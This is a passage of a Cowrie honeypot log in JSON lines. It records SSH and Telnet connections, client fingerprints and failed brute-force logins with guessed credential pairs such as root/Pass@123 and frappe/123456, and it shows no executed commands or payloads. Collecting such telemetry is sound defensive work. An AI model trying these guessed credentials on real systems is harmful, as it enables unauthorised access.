acCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:39.320589Z","src_ip":"31.40.204.166","session":"5a7ca4fd630c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:40.314978Z","src_ip":"31.40.204.166","session":"5a7ca4fd630c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.39821434020996,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:40.833549Z","src_ip":"152.42.224.71","session":"11ae9b5a1da5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52364,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9df14da1418","protocol":"telnet","message":"New connection: 152.42.224.71:52364 (10.17.0.5:23) [session: d9df14da1418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:41.385340Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:41.498425Z","src_ip":"31.40.204.166","session":"5a7ca4fd630c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.2597234249115,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:41.740958Z","src_ip":"152.42.224.71","session":"8ff8a6fcde3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52380,"dst_ip":"10.17.0.5","dst_port":23,"session":"30331c402414","protocol":"telnet","message":"New connection: 152.42.224.71:52380 (10.17.0.5:23) [session: 30331c402414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:44.929245Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":49762,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c270b7304f","protocol":"ssh","message":"New connection: 139.19.117.129:49762 (159.203.135.109:22) [session: 27c270b7304f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:46.047541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:46.052684Z","src_ip":"139.19.117.129","session":"27c270b7304f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:46.150618Z","src_ip":"139.19.117.129","session":"27c270b7304f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:46:35:de:8f:b8:50:41:c2:98:56:88:14:9d:de:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZxIBdBc2uDlfUcLD3eebhpM44db1H6ZJ4PINimz80gBG1x+2Z6lV4ZCiBAYQQz8sKVwT21Wq6p6LmYuvlyAeJdIjLNmL6EFPmSjMxezbstMpRRKlu4oIpwYRQ3WudJQ71Zjj3P+uBNt51jIJJ56QHL0+HfD5crEkXxYd9idKsp5vs9ZocMurYrebmC6iZ7ikJti0FRTXZEG0DWM35zhEXoteBJiX2652eSv31PHS/SzBa8y9EBAGe7ozbC2Fv+6We7OT/JY98Fs4CGdmRt+QsTaE5+v4Xc97iFoKsxvyZZFUEzpB08zd6B6zcnWMB5YqO3KQ5qqGfFxkDirvNCbbJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:46:35:de:8f:b8:50:41:c2:98:56:88:14:9d:de:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:46.346241Z","src_ip":"139.19.117.129","session":"27c270b7304f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:46:35:de:8f:b8:50:41:c2:98:56:88:14:9d:de:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZxIBdBc2uDlfUcLD3eebhpM44db1H6ZJ4PINimz80gBG1x+2Z6lV4ZCiBAYQQz8sKVwT21Wq6p6LmYuvlyAeJdIjLNmL6EFPmSjMxezbstMpRRKlu4oIpwYRQ3WudJQ71Zjj3P+uBNt51jIJJ56QHL0+HfD5crEkXxYd9idKsp5vs9ZocMurYrebmC6iZ7ikJti0FRTXZEG0DWM35zhEXoteBJiX2652eSv31PHS/SzBa8y9EBAGe7ozbC2Fv+6We7OT/JY98Fs4CGdmRt+QsTaE5+v4Xc97iFoKsxvyZZFUEzpB08zd6B6zcnWMB5YqO3KQ5qqGfFxkDirvNCbbJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:46.350339Z","src_ip":"139.19.117.129","session":"27c270b7304f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:46:35:de:8f:b8:50:41:c2:98:56:88:14:9d:de:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZxIBdBc2uDlfUcLD3eebhpM44db1H6ZJ4PINimz80gBG1x+2Z6lV4ZCiBAYQQz8sKVwT21Wq6p6LmYuvlyAeJdIjLNmL6EFPmSjMxezbstMpRRKlu4oIpwYRQ3WudJQ71Zjj3P+uBNt51jIJJ56QHL0+HfD5crEkXxYd9idKsp5vs9ZocMurYrebmC6iZ7ikJti0FRTXZEG0DWM35zhEXoteBJiX2652eSv31PHS/SzBa8y9EBAGe7ozbC2Fv+6We7OT/JY98Fs4CGdmRt+QsTaE5+v4Xc97iFoKsxvyZZFUEzpB08zd6B6zcnWMB5YqO3KQ5qqGfFxkDirvNCbbJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:46:35:de:8f:b8:50:41:c2:98:56:88:14:9d:de:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:46.450021Z","src_ip":"139.19.117.129","session":"27c270b7304f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:46:35:de:8f:b8:50:41:c2:98:56:88:14:9d:de:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZxIBdBc2uDlfUcLD3eebhpM44db1H6ZJ4PINimz80gBG1x+2Z6lV4ZCiBAYQQz8sKVwT21Wq6p6LmYuvlyAeJdIjLNmL6EFPmSjMxezbstMpRRKlu4oIpwYRQ3WudJQ71Zjj3P+uBNt51jIJJ56QHL0+HfD5crEkXxYd9idKsp5vs9ZocMurYrebmC6iZ7ikJti0FRTXZEG0DWM35zhEXoteBJiX2652eSv31PHS/SzBa8y9EBAGe7ozbC2Fv+6We7OT/JY98Fs4CGdmRt+QsTaE5+v4Xc97iFoKsxvyZZFUEzpB08zd6B6zcnWMB5YqO3KQ5qqGfFxkDirvNCbbJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:46.453959Z","src_ip":"139.19.117.129","session":"27c270b7304f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56120,"dst_ip":"159.203.135.109","dst_port":22,"session":"10079054c8b3","protocol":"ssh","message":"New connection: 31.40.204.166:56120 (159.203.135.109:22) [session: 10079054c8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:50.790442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:51.010483Z","src_ip":"31.40.204.166","session":"10079054c8b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:51.014220Z","src_ip":"31.40.204.166","session":"10079054c8b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:51.703585Z","src_ip":"31.40.204.166","session":"10079054c8b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:52.888690Z","src_ip":"31.40.204.166","session":"10079054c8b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:56.047564Z","src_ip":"139.19.117.129","session":"27c270b7304f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3fdfd555591","protocol":"telnet","message":"New connection: 152.42.224.71:54472 (10.17.0.5:23) [session: c3fdfd555591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:56.611760Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54480,"dst_ip":"10.17.0.5","dst_port":23,"session":"c13e0ab7e7e3","protocol":"telnet","message":"New connection: 152.42.224.71:54480 (10.17.0.5:23) [session: c13e0ab7e7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:57.140659Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43494,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba729a5bea4b","protocol":"ssh","message":"New connection: 103.27.238.116:43494 (159.203.135.109:22) [session: ba729a5bea4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:00.673643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:00.679124Z","src_ip":"103.27.238.116","session":"ba729a5bea4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:00.945508Z","src_ip":"103.27.238.116","session":"ba729a5bea4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.58064389228821,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:01.438457Z","src_ip":"152.42.224.71","session":"2421eb32e717","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"098765432","message":"login attempt [root/098765432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:01.761461Z","src_ip":"103.27.238.116","session":"ba729a5bea4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:03.030924Z","src_ip":"103.27.238.116","session":"ba729a5bea4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55648,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3106210ae0f","protocol":"ssh","message":"New connection: 31.40.204.166:55648 (159.203.135.109:22) [session: b3106210ae0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:03.285472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:03.295787Z","src_ip":"31.40.204.166","session":"b3106210ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.68758583068848,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:03.334124Z","src_ip":"152.42.224.71","session":"d36069ab196f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:03.495813Z","src_ip":"31.40.204.166","session":"b3106210ae0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:03.906982Z","src_ip":"31.40.204.166","session":"b3106210ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:05.096578Z","src_ip":"31.40.204.166","session":"b3106210ae0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab3c902a765d","protocol":"telnet","message":"New connection: 152.42.224.71:43856 (10.17.0.5:23) [session: ab3c902a765d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:07.683779Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43872,"dst_ip":"10.17.0.5","dst_port":23,"session":"d97d1317b177","protocol":"telnet","message":"New connection: 152.42.224.71:43872 (10.17.0.5:23) [session: d97d1317b177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:07.960531Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43884,"dst_ip":"10.17.0.5","dst_port":23,"session":"b13634c5a09b","protocol":"telnet","message":"New connection: 152.42.224.71:43884 (10.17.0.5:23) [session: b13634c5a09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:09.257429Z"}
{"eventid":"cowrie.session.closed","duration":27.468831777572632,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:12.397822Z","src_ip":"152.42.224.71","session":"30331c402414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.674476861953735,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:15.358134Z","src_ip":"152.42.224.71","session":"ab3c902a765d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52780,"dst_ip":"159.203.135.109","dst_port":22,"session":"15bb677486de","protocol":"ssh","message":"New connection: 31.40.204.166:52780 (159.203.135.109:22) [session: 15bb677486de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:16.309891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:16.397116Z","src_ip":"31.40.204.166","session":"15bb677486de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:16.507876Z","src_ip":"31.40.204.166","session":"15bb677486de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.536019802093506,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:16.530602Z","src_ip":"152.42.224.71","session":"82a9430e02d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54762,"dst_ip":"159.203.135.109","dst_port":22,"session":"05bc7c1d7b88","protocol":"ssh","message":"New connection: 109.172.54.111:54762 (159.203.135.109:22) [session: 05bc7c1d7b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:16.699930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:16.703984Z","src_ip":"109.172.54.111","session":"05bc7c1d7b88","protocol":"ssh"}
